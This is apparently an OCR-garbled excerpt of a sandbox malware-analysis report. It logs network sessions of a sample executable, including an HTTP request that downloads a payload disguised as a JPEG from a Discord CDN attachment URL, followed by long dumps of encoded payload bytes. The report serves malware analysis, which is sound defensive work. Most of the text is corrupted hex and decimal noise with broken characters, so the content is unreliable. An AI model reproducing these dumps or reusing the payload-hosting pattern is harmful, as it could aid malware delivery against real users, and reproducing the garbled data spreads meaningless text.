20 31 30 34 20 30 20 31 30 30 20 30 20 37 35 20 30 20 38 37 20 30 20 31 30 35 20 30 20 37 34 20 30 20 37 39 20 30 20
38 33 20 30 20 31 31 34 20 30 20 31 31 33 20 30 20 31 30 36 20 30 20 31 30

Data Ascii: 065056 080068047065080047047056065068047056080065065056080068047065
080072088012007701220670122077011807804301160550690104010007508701050740790
830114011301060 10

Data Raw: 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 36 20 30 20 31 31 39 20 30 20 36 35 20 30 20
36 3520 30 20 36 35 20 30 20 36 37 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 31 20 30 20 36 35 20 30 20 36
35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 38 31 20 30 20
36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20

Data Ascii: 5065065065066 0119065065065 06701030650650650650103065065065065081065
0650650650650690650650810650650650650650650650650690650650650650650650650
650650650650 65
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 31 31 30 20 30 20 38 33 20 30 20 38 32 20 30 20 31 32 30 20 30 20 35 33 20 30 20 38 36 20 30 20 35 35 20
302031 32 31 20 30 20 35 33 20 30 20 39 30 20 30 20 34 38 20 30 20 31 32 30 20 30 20 31 31 31 20 30 20 31 31 36 20
3020 31 31 33 20 30 20 31 32 32 20 30 20 31 31 32 20 30 20 31 31 32 20 30 20 35 34 20 30 20 34 38 20 30 20 39 37 20
30 20 36 37 20 30 20 37 32 20 30 20 34 37 20 30 20 35 37 20 30 20 38 37 20 30 20 31 31 36 20 30 20 34 37 20 30 20 35
3720302037 39 20 30 20 31 31 32 20 30 20 34 37 20 30 20 35 36 20 30 20 35 34 20 30 20 31 30 33 20 30 20 31 30 33
20 30 20 38 36 20 30 20 36 36 20 30 20 37 38 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
3520 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 31 32 20 30 20

Data Ascii: 110083 0820120053086 0550121 053090048012001110116 011301220 1120112054048
09706707204705708701160470570790112047056054010301030860660 780 650650650650
6506506506501120

Data Raw: 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30
20 3535 20 30 20 35 36 20 30 20 34 37 20 30 20 34 37 20 30 20 31 30 32 20 30 20 31 32 31 20 30 20 34 37 20 30 20 34
3720 30 20 39 38 20 30 20 31 31 37 20 30 20 31 31 30 20 30 20 31 30 39 20 30 20 38 36 20 30 20 38 39 20 30 20 31 31
30 20 30 20 31 30 39 20 30 20 38 36 20 30 20 38 39 20 30 20 31 31 30 20 30 20 31 30 39 20 30 20 38 36 20 30 20 38 39
203020 31313020 30 20 31 30 39 20 30 20 38 36 20 30 20 38 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 36 3520 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 31 32 20 30 20 31 30 39 20 30 20 31
32 30 20 30 20 39 37 20 30 20 31 30 33 20 30 20 38 34 20 30 20 38 31 20 30

Data Ascii: 4704704704704704704705505604704701020121047047098011701100 1090 86089
01100109086089011001090860890110010908608906506506506506506506506501120 1090
12009701030840810

Data Raw: 39 30 20 30 20 39 37 20 30 20 31 31 37 20 30 20 31 31 33 20 30 20 37 30 20 30 20 37 30 20 30 20 35 30 20
302031 30 32 20 30 20 31 31 39 20 30 20 31 30 33 20 30 20 31 30 34 20 30 20 38 32 20 30 20 31 30 36 20 30 20 35 36
2030 20 37 33 20 30 20 37 33 20 30 20 38 35 20 30 20 39 30 20 30 20 31 30 32 20 30 20 36 37 20 30 20 31 31 33 20 30
2031 30 3520 30 20 36 35 20 30 20 37 36 20 30 20 34 37 20 30 20 31 32 32 20 30 20 35 37 20 30 20 37 32 20 30 20 38
30 20 30 20 34 37 20 30 20 35 37 20 30 20 38 38 20 30 20 31 30 31 20 30 20 35 36 20 30 20 38 30 20 30 20 34 37 20 30
20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20
30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20

Data Ascii: 900970117 0113070070050 010201190103 01040820106 056 0730730850900 1020 670
11301050650760470122057072080047057088010105608004704704704704704704704704
7047 047047047047

Data Raw: 20 30 20 34 37 20 30 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34
372030 20 31 31 34 20 30 20 34 37 20 30 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20
30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20
34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34
203020 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20 30
20 3534 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 33 20 30 20 31 31 38 20 30 20 34
37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34 20 30 20

Data Ascii: 047043011804705404704701140470430118047054047047011404704301180470
540470470114047043011804705404704701140470430118047054047047011404704301180
4705404704701140

Data Raw: 30 20 35 36 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 36 35 20 30 20 38 30 20 30 20 36 35 20

30 20 36 35 20 30 20 36 38 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 31 39 20 30 20 36 35 20 30 20 36 35 20 30 20
3532 20 30 20 36 35 20 30 20 39 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 36 35 20 30 20 37 32 20 30
20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 31 39 20 30 20 36 35 20 30 20 36
35 20 30 20 35 36 20 30 20 36 35 20 30 20 35 36 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 31 30 33 20 30
20 31 30 32 20 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 35 36 20 30 20 38 30 20 30 20 31 31 39 20 30 20 36
35 20 30 20 36 35 20 30 20 34 37 20 30 20 34 37 20 30 20 35 36 20 30 20 36

Data Ascii: 056 065 065080065080065065068010306601190650650520650990650650 790650
72065065068010306601190650650560650560650650800103010206506506805608001190
6506504704705606

Data Raw: 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 36 20 30 20 38 35 20 30 20 37 39 20 30 20 37
33 20 30 20 36 36 20 30 20 36 36 20 30 20 31 31 39 20 30 20 36 35 20 30 20 38 34 20 30 20 36 35 20 30 20 36 35 20 30
20 35 32 20 30 20 36 35 20 30 20 35 35 20 30 20 31 30 33 20 30 20 37 37 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30
20 30 20 34 37 20 30 20 34 37 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 31 31 37 20 30 20 36 35 20 30
20 36 37 20 30 20 35 32 20 30 20 36 35 20 30 20 37 36 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35
20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36

Data Ascii: 5065065065066 085079073066066011906508406506505206505501030 770650650
80047047010306506501170650670520650760103065065065065065065065065065065065
06506506506506

Data Raw: 20 31 30 34 20 30 20 36 35 20 30 20 37 31 20 30 20 37 33 20 30 20 36 35 20 30 20 39 38 20 30 20 36 35 20
30 20 36 36 20 30 20 31 30 38 20 30 20 36 35 20 30 20 37 32 20 30 20 37 37 20 30 20 36 35 20 30 20 36 35 20 30 20 36
3520 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20
36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 36 35 20 30 20 36 37 20 30 20 37 30 20 30 20 38 31 20 30 20 36 38 20
30 20 31 31 39 20 30 20 36 35 20 30 20 37 36 20 30 20 36 35 20 30 20 38 32 20 30 20 31 31 39 20 30 20 36 36 20 30 20
38 35 20 30 20 38 31 20 30 20 36 38 20 30 20 35 36 20 30 20 36 35 20 30 20

Data Ascii: 1040650710730650980650660108065072077065065065065065065065065065065
06506506506506506506506506506506806506707008106801190650760650820 119066085
0810680560650

Data Raw: 34 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 32 20 30 20 36 35 20 30 20 37 31 20 30 20 35 32 20 30 20
36 3520 30 20 39 37 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 36 20 30 20 36 35 20 30 20 37 31 20 30 20 31 30 37
20 30 20 36 35 20 30 20 31 30 31 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 30 38 20 30 20 36 35 20 30 20 37 31 20
30 20 38 31 20 30 20 36 35 20 30 20 36 37 20 30 20 38 31 20 30 20 36 36 20 30 20 37 38 20 30 20 36 35 20 30 20 37 31
20 30 20 36 39 20 30 20 36 35 20 30 20 31 30 31 20 30 20 36 35 20 30 20 36 36 20 30 20 31 31 32 20 30 20 36 35 20 30
20 37 31 20 30 20 34 38 20 30 20 36 35 20 30 20 39 37 20 30 20 38 31 20 30 20 36 36 20 30 20 35 34 20 30 20 36 35 20
30 20 37 31 20 30 20 38 35 20 30 20 36 35 20 30 20 39 30 20 30 20 36 35 20

Data Ascii: 4081066 0112065071052065097081066 01160650710 10706501010 10306601080 650
71081065067081066078065071069065010106506601120650710480650970810660540650
710850650900 65
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 31 30 30 20 30 20 38 31 20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 37 31 20 30 20 37 37 20
30 20 36 35 20 30 20 39 37 20 30 20 36 35 20 30 20 36 36 20 30 20 31 31 38 20 30 20 36 35 20 30 20 37 31 20 30 20 35
36 20 30 20 36 35 20 30 20 39 39 20 30 20 31 31 39 20 30 20 36 36 20 30 20 31 30 38 20 30 20 36 35 20 30 20 36 37 20
30 20 35 32 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37
203020 3131312030 20 36 35 20 30 20 36 36 20 30 20 38 31 20 30 20 36 35 20 30 20 36 36 20 30 20 36 35 20 30 20
36 39 20 30 20 38 39 20 30 20 36 35 20 30 20 39 37 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 35 20 30 20 36 35 20
3020 37 31 20 30 20 38 35 20 30 20 36 35 20 30 20 38 36 20 30 20 31 30 33

Data Ascii: 100081 065010306507107706509706506601180650710560650990 11906601080 650
67052065065065065065065067011106506608106506606506908906509708106601150650
710850650860 103

Data Raw: 20 30 20 31 31 33 20 30 20 31 31 36 20 30 20 37 37 20 30 20 31 31 37 20 30 20 31 31 36 20 30 20 31 30 37

203020 31 32 31 20 30 20 35 30 20 30 20 31 31 31 20 30 20 39 37 20 30 20 34 33 20 30 20 31 30 38 20 30 20 37 37 20
30 20 35 31 20 30 20 38 39 20 30 20 36 36 20 30 20 31 31 33 20 30 20 35 34 20 30 20 31 32 32 20 30 20 31 31 30 20 30
20 31 30 34 20 30 20 38 33 20 30 20 31 32 32 20 30 20 35 36 20 30 20 35 34 20 30 20 38 36 20 30 20 31 32 32 20 30 20
31 30 3520 3020 35 33 20 30 20 34 37 20 30 20 34 33 20 30 20 31 32 31 20 30 20 31 31 37 20 30 20 37 33 20 30 20 38
36 20 30 20 31 31 31 20 30 20 37 39 20 30 20 36 39 20 30 20 39 37 20 30 20 35 35 20 30 20 31 30 36 20 30 20 36 37 20
30 20 35 30 20 30 20 36 37 20 30 20 35 35 20 30 20 37 36 20 30 20 36 36 20

Data Ascii: 01130116077011701160107012105001110970430108077051089066 011305401220
1100104083012205605408601220105053047043012101170730860111079069 09705501060
67050067 0550760 66

Data Raw: 20 30 20 38 30 20 30 20 35 31 20 30 20 31 31 39 20 30 20 38 34 20 30 20 31 31 37 20 30 20 38 30 20 30 20
31 3035 20 30 20 34 33 20 30 20 37 33 20 30 20 37 39 20 30 20 35 37 20 30 20 39 39 20 30 20 31 31 34 20 30 20 31 31
34 20 30 20 37 36 20 30 20 38 30 20 30 20 38 34 20 30 20 31 31 34 20 30 20 31 31 37 20 30 20 35 36 20 30 20 37 30 20
3020 353220 30 20 38 38 20 30 20 31 30 37 20 30 20 31 30 39 20 30 20 31 30 34 20 30 20 31 31 36 20 30 20 31 32 31
20302037 3120302037 322030 203533203020 313132203020 313138203020 363920302031313320
3020 36 37 20 30 20 31 30 33 20 30 20 31 31 37 20 30 20 31 30 38 20 30 20 31 31 37 20 30 20 31 30 32 20 30 20 38 33
203020 31 30312030 20 35 3520 30 20 31 31 32 20 30 20 31 30 33 20 30

Data Ascii: 08005101190840117080010504307307905709901140114076080084011401170560
7005208801070109010401160121071072053011201180690113067 010301170 1080117 01020
830101055011201030

Data Raw: 37 36 20 30 20 35 30 20 30 20 35 37 20 30 20 31 30 36 20 30 20 39 39 20 30 20 35 31 20 30 20 36 35 20 30
20 3131 37 20 30 20 39 39 20 30 20 35 30 20 30 20 38 36 20 30 20 31 30 36 20 30 20 31 30 30 20 30 20 37 31 20 30 20
3130 38 20 30 20 31 31 30 20 30 20 39 38 20 30 20 31 32 31 20 30 20 35 33 20 30 20 31 30 36 20 30 20 39 38 20 30 20
3530 20 30 20 34 38 20 30 20 31 31 39 20 30 20 36 38 20 30 20 38 31 20 30 20 38 39 20 30 20 37 34 20 30 20 37 35 20
3020 313131203020 39 3020302037 33203020 31 30 34 20 30 20 31 31 38 20 30 20 39 39 20 30 20 37 38 20 30
20 36 3520 30 20 38 31 20 30 20 36 39 20 30 20 37 37 20 30 20 36 36 20 30 20 38 31 20 30 20 36 35 20 30 20 36 38 20
3020 31 30 33 20 30 20 31 30 33 20 30 20 37 33 20 30 20 36 36 20 30 20 36

Data Ascii: 76 050057 0106099051 0650117099050086 010601000710 10801100980 1210530 106 0
98050048011906808108907407501110900730104011809907806508106907706608106506
80103010307306606

Data Raw: 31 36 20 30 20 37 30 20 30 20 31 31 31 20 30 20 36 35 20 30 20 31 31 35 20 30 20 38 39 20 30 20 31 32 31
20 3020 31 31 34 20 30 20 35 32 20 30 20 34 37 20 30 20 31 30 37 20 30 20 37 35 20 30 20 31 32 31 20 30 20 38 36 20
30 20 38 32 20 30 20 31 30 30 20 30 20 34 39 20 30 20 37 36 20 30 20 31 30 38 20 30 20 31 31 33 20 30 20 31 30 30 20
30 20 37 34 20 30 20 35 34 20 30 20 35 37 20 30 20 38 33 20 30 20 37 35 20 30 20 35 34 20 30 20 38 39 20 30 20 37 37
20 30 20 38 39 20 30 20 37 33 20 30 20 36 39 20 30 20 37 36 20 30 20 36 38 20 30 20 36 37 20 30 20 36 37 20 30 20 36
36 20 30 20 36 37 20 30 20 31 30 33 20 30 20 36 37 20 30 20 36 35 20 30 20 38 31 20 30 20 36 39 20 30 20 31 31 39 20
30 20 31 30 33 20 30 20 39 30 20 30 20 36 39 20 30 20 31 31 39 20 30 20 31

Data Ascii: 16 0700111 0650115089012101140520470107075012108608201000490 7601080 1130
10007405405708307505408907708907306907606806706706606701030670650810690119
0103090069011901

Data Raw: 31 31 30 20 30 20 31 31 31 20 30 20 33 37 20 30 20 31 31 32 20 30 20 33 37 20 30 20 31 31 36 20 30 20 39
37 2030 20 31 32 30 20 30 20 31 30 37 20 30 20 31 32 30 20 30 20 31 32 30 20 30 20 31 30 37 20 30 20 31 31 34 20 30
20 31 31 39 20 30 20 31 30 30 20 30 20 31 31 35 20 30 20 39 37 20 30 20 31 30 37 20 30 20 33 37 20 30 20 33 32 20 30
20 33 37 20 30 20 31 30 39 20 30 20 31 30 32 20 30 20 31 32 32 20 30 20 31 30 38 20 30 20 31 30 35 20 30 20 31 31 34
203020 31 32 31 20 30 20 31 31 33 20 30 20 31 31 33 20 30 20 31 31 31 20 30 20 33 37 20 30 20 31 31 39 20 30 20 33
37 203020 31 31 37 20 30 20 31 31 31 20 30 20 31 31 38 20 30 20 33 37 20 30 20 31 31 37 20 30 20 33 37 20 30 20 31
3138 20 30 20 31 30 31 20 30 20 31 30 36 20 30 20 31 31 36 20 30 20 31 31

Data Ascii: 1100111 03701120370 116 097 0120 0 107 0 120 0 120 0 107 0 114 0 119 0 100 0 115 0 97 0 107 0 37
0320370109010201220108010501140121011301130111037011903701170111011803701170
370118010101060116 011

Data Raw: 37 20 30 20 39 39 20 30 20 31 31 38 20 30 20 39 37 20 30 20 31 31 36 20 30 20 33 37 20 30 20 33 32 20 30
20 3337 20 30 20 31 31 34 20 30 20 31 31 30 20 30 20 31 31 35 20 30 20 31 31 30 20 30 20 31 31 39 20 30 20 31 30 39
20 30 20 33 37 20 30 20 38 33 20 30 20 33 37 20 30 20 31 31 34 20 30 20 31 30 38 20 30 20 31 31 3520 30 20 31 30 32
20 30 20 33 37 20 30 20 36 38 20 30 20 33 37 20 30 20 39 37 20 30 20 31 31 32 20 30 20 31 32 30 20 30 20 31 32 30 20
30 20 31 30 31 20 30 20 31 30 30 20 30 20 33 37 20 30 20 38 32 20 30 20 33 37 20 30 20 31 32 30 20 30 20 31 30 36 20
30 20 39 37 20 30 20 31 30 35 20 30 20 31 30 36 20 30 20 31 30 34 20 30 20 31 30 39 20 30 20 31 30 35 20 30 20 31 30
3120 30 20 31 30 36 20 30 20 31 32 31 20 30 20 39 39 20 30 20 31 31 33 20

Data Ascii: 709901180970116037032037011401100115011001190109037083 0370114 0 108 0 115
0102037068037097 0112012001200 1010100037082037 01200 106097 01050 106 0 104 0 109 0 105
0101010601210990113

Data Raw: 20 30 20 33 37 20 30 20 31 30 30 20 30 20 33 37 20 30 20 31 31 37 20 30 20 31 31 39 20 30 20 31 30 35 20
302031 31 36 20 30 20 31 30 31 20 30 20 31 30 38 20 30 20 31 31 36 20 30 20 31 30 34 20 30 20 33 37 20 30 20 31 30
3520 30 20 33 37 20 30 20 31 30 35 20 30 20 39 38 20 30 20 31 31 32 20 30 20 31 31 33 20 30 20 31 31 38 20 30 20 31
31 39 20 30 20 31 30 38 20 30 20 31 31 34 20 30 20 31 30 39 20 30 20 31 32 32 20 30 20 33 37 20 30 20 31 31 35 20 30
20 33 37 20 30 20 31 30 39 20 30 20 31 30 34 20 30 20 31 31 30 20 30 20 31 30 32 20 30 20 31 31 33 20 30 20 31 31 36
20 30 20 31 31 33 20 30 20 31 31 39 20 30 20 33 37 20 30 20 39 37 20 30 20 33 37 20 30 20 39 39 20 30 20 31 30 32 20
30 20 31 30 31 20 30 20 31 31 33 20 30 20 31 32 30 20 30 20 31 30 30 20 30

Data Ascii: 0370 1000370117011901050116010101080116010403701050370105098011201130
11801190108011401090122037011503701090104011001020113011601130119037097 037099
010201010113012001000
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Timestamp transferred

2021-09-27 18:27:27 UTC 1659
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Session ID Source IP

1 192.168.2.5
kBytes

Timestamp transferred

2021-09-27 18:27:44 UTC 1690

2021-09-27 18:27:44 UTC 1690

2021-09-27 18:27:44 UTC 1691

2021-09-27 18:27:44 UTC 1691

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49742

Direction

ouT

Data

Data Raw: 30 20 31 31 34 20 30 20 31 31 35 20 30 20 31 30 3520 30 20 31 31 31 20 30 20 31 31 30 20 30 20 30 20 33

332038 36 20 30 20 31 30 35 20 30 20 31 30 30 20 30 20 31 30 31 20 30 20 31 31 31 20 30 20 36 36 20 30 20 31 30 35
203020 31 31 31 20 30 20 31 31 35 20 30 20 38 36 20 30 20 31 30 31 20 30 20 31 31 34 20 30 20 31 31 35 20 30 20 31
3035203020 313131203020 313130203020 30 20 32 31 20 38 36 20 30 20 37 33 20 30 20 38 32 20 30 20 38 34
20 30 20 38 3520 30 20 36 35 20 30 20 37 36 20 30 20 36 36 20 30 20 37 39 20 30 20 38 38 20 30 20 30 20 38 35 20 38
3320 3020 37 39 20 30 20 37 30 20 30 20 38 34 20 30 20 38 37 20 30 20 36 35 20 30 20 38 32 20 30 20 36 39 20 30 20
39 32 20 30 20 37 39 20 30 20 31 31 34 20 30 20 39 37 20 30 20 39 39 20 30

Data Ascii: 0114 011501050111 0110003386 010501000101 0111066010501110115086 0101 01140

1150105011101100021860730820840850650760660790880085830790700840870650820

6909207901140970990

Data Raw: 39 32 20 34 20 31 34 39 20 30 20 30 20 31 39 32 20 34 20 31 35 30 20 30 20 30 20 31 39 32 20 34 20 31 35
312030 20 30 20 31 39 32 20 34 20 31 35 32 20 30 20 30 20 31 39 32 20 34 20 31 37 31 20 30 20 30 20 31 39 32 20 34
2031 37 3220 30 20 30 20 31 39 32 20 34 20 31 37 33 20 30 20 30 20 31 39 32 20 34 20 31 37 34 20 30 20 30 20 31 39
3220342031 37 35 20 30 20 30 20 31 39 32 20 34 20 31 37 36 20 30 20 30 20 31 39 32 20 34 20 31 37 37 20 30 20 30
2031 39322034 20 31 37 38 20 30 20 30 20 31 39 32 20 34 20 31 37 39 20 30 20 30 20 31 39 32 20 34 20 31 38 30 20
3020 3020 31 39 32 20 34 20 31 38 31 20 30 20 30 20 31 39 32 20 34 20 31 38 32 20 30 20 30 20 31 39 32 20 34 20 31
38 33 20 30 20 30 20 31 39 32 20 34 20 31 38 34 20 30 20 30 20 31 39 32 20

Data Ascii: 924149001924 150001924 151001924152001924171001924172001924 173001924 174
00192417500192417600192417700192417800192417900192418000192418100 192418200 192
4183001924184 00 192

Destination IP Destination Port Process

162.159.133.233 443 C:\Users\user\Desktop\s9SWgUgyO5.exe

Data

GET /attachments/886962207051640872/890689205934620692/4102A6C4.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 27 Sep 2021 18:27:44 GMT

Content-Type: image/jpeg

Content-Length: 1729443

Connection: close

CF-Ray: 6956¢c9adba64375f-MXP

Accept-Ranges: bytes

Age: 1186

Cache-Control: public, max-age=31536000

ETag: "2ac5f86f290ec12916b30b63f8da6e5d"

Expires: Tue, 27 Sep 2022 18:27:44 GMT

Last-Modified: Thu, 23 Sep 2021 20:00:54 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1632427254972338

x-goog-hash: crc32c=rCGZkw==

x-g00g-hash: md5=KsX4bykOwSkWswtj+NpuXQ==

X-goog-metageneration: 1

x-goog-storage-class: STANDARD

X-g00g-stored-content-encoding: identity

x-goog-stored-content-length: 1729443

X-GUploader-UploadID: ADPycdsfSu6fJtDW9HkahbvMR-roS5LUPKIi7V3J3d7FUAokax5jZBtayADIbxIAINHXVISODwjSXTS
zUsmwOnTRs4zDOFAag8w

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:\\Wa.nel.cloudflare.com\/report\/v3?s=XyUsKulmw2qg4uY 1dmfrOD2IdFY8Dda4
hTNYJAQJ6LI4QEDYGFDNUJFbPmM0%2BsmhvkyL07 TipxVfAU7Z7ZjcILalgGNzRPXPDJIpOyGZ%2BGrUdPRugswc7IPI
WNRdIseODaTmJIBTQ%3D%3D"}],"group":"cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction™:0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 37 37 20 39 30 20 31 34 34 20 30 20 33 20 30 20 30 20 30 20 34 20 30 20 30 20 30 20 32 35 35 20 32 35 35

20 3020 30 20 31 38 34 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 36 34 20 30 20 30 20 30 20 30 20 30 20 30 20 30
20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20
30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 31 32 38 20 30 20 30 20 30 20 31 34 20 33 31 20 31 38 36 20 31
34 20 30 20 31 38 30 20 39 20 32 30 35 20 33 33 20 31 38 34 20 31 20 37 36 20 32 30 35 20 33 33 20 38 34 20 31 30 34
20 31 30 35 20 31 31 35 20 33 32 20 31 31 32 20 31 31 34 20 31 31 31 20 31 30 33 20 31 31 34 20 39 37 20 31 30 39 20
33322039 39 20 39 37 20 31 31 30 20 31 31 30 20 31 31 31 20 31 31 36 20

Data Ascii: 7790144030004 0002552550018400000006400000000000000000000000000

000000000128000 143118614 01809 20533184 176 205 33 84 104 105 11532 112 114 111 103 114 97 109
329997 110 110 111 116
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Timestamp transferred
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2021-09-27 18:27:44 UTC 1694
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2021-09-27 18:27:44 UTC 1697
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 32 35 20 34 30 20 32 32 39 20 31 30 39 20 31 31 35 20 35
30 20 34 38 20 35 30 20 35 30 20 38 34 20 31 31 34 20 31 31 37 20 31 34 36 20 31 34 33 20 35 30 20 34 38 20 31 33 38
20 3534 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 31 31 32 20 35 30 20 35 34 20 38 34 20
31313420313137 2031303920 3131322035 302034 3820 3530203534 20383420 3131342031313720
3130392031313220 35302034 382035302035 342038342031313420313137203130392031313220
3530 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 31 37 36 20 35
30 20 35 34 20 38 34 20 31 32 34 20 31 30 36 20 32 31 35 20 31 32 36 20 35

Data Ascii: 0000 00 00 25 40 229 109 115 50 48 50 50 84 114 117 146 143 50 48 138 54 84 114 117 109 112 50 112
5054 84 114 117 109 112 50 48 50 54 84 114 117 109 112 50 48 50 54 84 114 117 109 112 50 48 50 54 84 114 117 109
11250 176 50 54 84 124 106 215 126 5

Data Raw: 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31
3220 35 30 20 34 38 20 31 38 20 35 34 20 38 34 20 31 38 20 39 31 20 33 31 20 32 31 20 39 34 20 39 35 20 38 31 20 35
3420 38 34 20 31 32 36 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 34 38 20 35 34 20 38 34 20 31 31 32
203131 372031303920 313132203234 38203439 203530203534 2038 342031313420313137203130
392031313220 35302034 3820353020353420383420313134203533203130392031313220313132
20333020 3634203639 203338203137203131372031303920313132203131342038312035312035
3420 38 34 20 38 3220 31 31 39 20 31 30 39 20 31 31 32 20 38 30 20 34 39

Data Ascii: 9 112 50 48 50 54 84 114 117 109 112 50 48 18 54 84 18 91 31 21 94 95 81 54 84 126 117 109 112 50 48 48
5484112 117 109 112 248 49 50 54 84 114 117 109 112 50 48 50 54 84 114 53 109 112 112 30 64 69 38 17 117 109 112
114 8151 54 84 82 119 109 112 80 49

Data Raw: 31 20 38 34 20 31 31 34 20 31 31 37 20 31 31 30 20 31 31 32 20 35 30 20 33 33 20 37 36 20 35 32 20 38 34
20313134 20 31 31 33 20 32 20 37 37 20 35 30 20 34 38 20 35 36 20 32 38 20 38 34 20 39 37 20 36 39 20 31 30 38 20
3131 32 20 35 37 20 34 38 20 35 30 20 35 34 20 38 30 20 31 31 34 20 31 31 37 20 31 32 34 20 31 34 20 34 39 20 34 38
20 353020353020 35392037 36 20 31 31 37 20 31 30 39 20 31 32 32 20 32 34 20 34 38 20 33 33 20 36 20 38 35 20
313134203132362031303920 313132203530 203533203530203534203639203132203131332031
3039 20 31 31 3220 35 34 20 39 35 20 31 33 20 35 34 20 38 34 20 31 32 30 20 39 35 20 31 30 39 20 39 39 20 32 20 34
3920 353020 36 31 20 38 34 20 31 31 34 20 31 31 37 20 31 30 37 20 31 31

